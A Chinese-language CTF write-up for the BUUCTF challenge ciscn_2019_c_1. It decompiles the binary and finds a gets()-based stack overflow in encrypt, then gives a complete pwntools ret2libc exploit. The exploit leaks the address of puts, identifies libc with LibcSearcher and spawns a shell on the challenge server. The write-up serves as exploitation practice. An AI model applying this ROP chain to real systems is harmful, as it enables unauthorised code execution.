ciscn_2019_c_1

ciscn_2019_c_1

逆向分析

image-20250808111439428

附件下载分析

image-20250808111600763

栈溢出防御stack和PIE没有开看起来有可能还是一个非常基础的栈溢出的问题ida分析一下

main函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
int __fastcall main(int argc, const char **argv, const char **envp)
{
int n2; // [rsp+Ch] [rbp-4h] BYREF
init(argc, argv, envp);
puts("EEEEEEE hh iii ");
puts("EE mm mm mmmm aa aa cccc hh nn nnn eee ");
puts("EEEEE mmm mm mm aa aaa cc hhhhhh iii nnn nn ee e ");
puts("EE mmm mm mm aa aaa cc hh hh iii nn nn eeeee ");
puts("EEEEEEE mmm mm mm aaa aa ccccc hh hh iii nn nn eeeee ");
puts("====================================================================");
puts("Welcome to this Encryption machine\n");
begin();
while ( 1 )
{
while ( 1 )
{
fflush(0);
n2 = 0;
__isoc99_scanf("%d", &n2);
getchar();
if ( n2 != 2 )
break;
puts("I think you can do it by yourself");
begin();
}
if ( n2 == 3 )
{
puts("Bye!");
return 0;
}
if ( n2 != 1 )
break;
encrypt();
begin();
}
puts("Something Wrong!");
return 0;
}

begin函数

1
2
3
4
5
6
7
8
int begin()
{
puts("====================================================================");
puts("1.Encrypt");
puts("2.Decrypt");
puts("3.Exit");
return puts("Input your choice!");
}

经过对这两个函数的分析

发现输入1会进入encrypt这个函数,再分析一下encrypt函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
int encrypt()
{
size_t x; // rbx
char s[48]; // [rsp+0h] [rbp-50h] BYREF
__int16 v3; // [rsp+30h] [rbp-20h]
memset(s, 0, sizeof(s));
v3 = 0;
puts("Input your Plaintext to be encrypted");
gets(s);
while ( 1 )
{
x = (unsigned int)::x;
if ( x >= strlen(s) )
break;
if ( s[::x] <= 96 || s[::x] > 122 )
{
if ( s[::x] <= 64 || s[::x] > 90 )
{
if ( s[::x] > 47 && s[::x] <= 57 )
s[::x] ^= 0xFu;
}
else
{
s[::x] ^= 0xEu;
}
}
else
{
s[::x] ^= 0xDu;
}
++::x;
}
puts("Ciphertext");
return puts(s);
}

发现gets函数很危险的一个栈溢出漏洞但是底下有一个加密的流程,我们现在有两个办法一个是先加一次密再通过异或会返回原型,第二种是直接在最前面通过\x00的字符欺骗strlen导致后面的数据不会经过加密流程。本文选择第二种方法。然后发现整个程序里没有后门函数,那也就是说明这是个ret2libc的漏洞。通过经典的流程先暴露一个函数的真实地址通过libcresearch来寻找libc版本,然后通过libc偏移量找到system函数和/bin/sh字符串。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
graph TD
A[程序启动] --> B{选择进入存在漏洞的函数};
B -- Choice '1' --> C[第一次栈溢出: 泄露Libc地址];
C --> D[构造第一次ROP链:<br>填充数据88字节<br>pop rdi; ret<br>puts@got地址<br>puts@plt地址<br>main地址];
D --> E[sendlinepayload1];
E --> F[程序执行gets, 栈被溢出];
F --> G{程序执行到encrypt函数返回};
G --> H[跳转到ROP链: 执行 putsputs@got];
H --> I[程序将puts真实地址打印到stdout];
I --> J{脚本接收并解析泄露的地址};
J --> K[计算Libc基址、system地址、/bin/sh地址];
K --> L{程序返回到main函数};
L --> M[第二次栈溢出: 获取Shell];
M --> N[构造第二次ROP链:<br>填充数据 88字节<br>ret gadget 栈对齐<br>pop rdi; ret<br>/bin/sh地址<br>system地址];
N --> O[sendlinepayload2];
O --> P[程序执行gets, 栈再次被溢出];
P --> Q{程序执行到encrypt函数返回};
Q --> R[跳转到第二次ROP链: 执行 system'/bin/sh'];
R --> S[获得Shell];

payload

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
from pwn import *
from LibcSearcher import *
context.terminal = ['tmux', 'splitw', '-h']
#p=process('./ciscn_2019_c_1')
elf=ELF('./ciscn_2019_c_1')
#gdb.attach(p, gdbscript='''
# b *main
#''')
p=remote('node5.buuoj.cn',27316)
offset=44
ret=0x4006b9
rdi_pop_addr=0x400c83
main_addr=elf.sym['main']
puts_addr=elf.plt['puts']
puts_got_addr=elf.got['puts']
payload=b'\x00'+b'a'*0x57+p64(rdi_pop_addr)+p64(puts_got_addr)+p64(puts_addr)+p64(main_addr)
p.recvuntil(b"Input your choice!\n")
p.sendline(b'1')
p.recvuntil(b"Input your Plaintext to be encrypted\n")
p.sendline(payload)
p.recvuntil(b"Ciphertext\n")
p.recvuntil(b"\n")
puts_addr = u64(p.recvline()[:-1].ljust(8,b'\0'))
print(hex(puts_addr))
libc = LibcSearcher("puts",puts_addr)
libc_base = puts_addr - libc.dump("puts")
system_addr = libc_base+libc.dump("system")
bin_sh = libc_base+libc.dump("str_bin_sh")
p.sendlineafter(b"Input your choice!\n",b'1')
payload1 = b'\x00'+b'a'*0x57+p64(ret)+p64(rdi_pop_addr)+p64(bin_sh)+p64(system_addr)
p.recvuntil(b"encrypted\n")
p.sendline(payload1)
p.interactive()

在运行的时候会问你选择哪个libc版本

image-20250809153702578

这是puts函数的地址和这些libc吻合,对于buuctf来说是在Ubuntu 18上运行的,所以选择2.27的版本就可以,在本地运行的话需要选择本地的libc版本,可以上网查每个linux版本都有自己默认的libc版本。

image-20250809153751155

选这2.27版本之后成功获得bash